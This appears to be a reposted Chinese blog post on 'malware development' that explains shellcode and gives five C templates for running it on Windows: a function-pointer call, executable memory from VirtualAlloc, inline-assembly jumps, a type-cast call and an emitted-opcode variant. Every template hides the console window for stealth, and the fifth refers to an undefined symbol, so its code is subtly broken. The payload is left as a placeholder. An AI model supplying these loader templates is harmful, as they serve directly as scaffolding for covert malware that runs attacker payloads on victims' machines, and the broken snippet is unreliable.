惡意軟件開發——shellcode執行的幾種常見方式


一、什么是shellcode?

shellcode是一小段代碼,用於利用軟件漏洞作為有效載荷。它之所以被稱為“shellcode”,是因為它通常啟動一個命令shell,攻擊者可以從這個命令shell控制受損的計算機,但是執行類似任務的任何代碼都可以被稱為shellcode。因為有效載荷(payload)的功能不僅限於生成shell

簡單來說:shellcode為16進制的機器碼,是一段執行某些動作的機器碼

那么,什么是機器碼呢?

在百度百科中這樣解釋道:計算機直接使用的程序語言,其語句就是機器指令碼,機器指令碼是用於指揮計算機應做的操作和操作數地址的一組二進制數

簡單來說:直接指揮計算機的機器指令碼

二、shellcode執行的幾種常見方式

1、指針執行
最常見的一種加載shellcode的方法,使用指針來執行函數

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"你的shellcode";

#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
	
	((void(*)(void)) & buf)();
}

2、申請動態內存加載
申請一段動態內存,然后把shellcode放進去,隨后強轉為一個函數類型指針,最后調用這個函數

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口

int main()
{
    char shellcode[] = "你的shellcode";
    
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}

3、嵌入匯編加載
注:必須要x86版本的shellcode

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口

unsigned char shellcode[] = "你的shellcode";
void main()
{
	__asm
	{

		mov eax, offset shellcode
		jmp eax
	}
}

4、強制類型轉換

#include <windows.h>
#include <stdio.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口

unsigned char buff[] = "你的shellcode";

void main()
{
	((void(WINAPI*)(void)) & buff)();
}

5、匯編花指令
和方法3差不多

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口

unsigned char buff[] = "你的shellcode";
void main()
{
	__asm
	{		
		mov eax, offset xff;
		_emit 0xFF;
		_emit 0xE0;
	}
}

以上五種方法就是最常見的shellcode執行方式


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM